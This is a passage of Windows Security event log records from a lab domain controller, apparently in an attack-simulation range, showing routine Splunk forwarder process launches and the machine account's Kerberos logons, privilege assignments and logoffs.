Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1130 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:46:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256770 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe3c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:46:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256772 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5b8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:46:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256773 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xab8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:46:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256774 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1258 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:46:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256775 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x468 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:46:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256776 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x508 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:46:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256779 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x45E4EA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:46:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256778 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x45E4EA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 49230 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:46:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256777 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x45E4EA - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:47:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256785 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x45E80C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:47:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256784 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x45E80C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 49234 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:47:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256783 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x45E80C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:47:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256782 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x45E7A0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:47:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256781 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x45E7A0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 49233 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:47:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256780 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x45E7A0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:47:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256787 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x710 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:47:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256786 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x784 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:47:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256788 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12a0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:47:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256800 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x45FE54 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:47:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256799 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x45FF62 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:47:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256798 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x45FFAB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:47:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256797 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x460020 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 49238 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:47:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256796 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x460020 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:47:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256795 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x45FFAB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 49237 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC 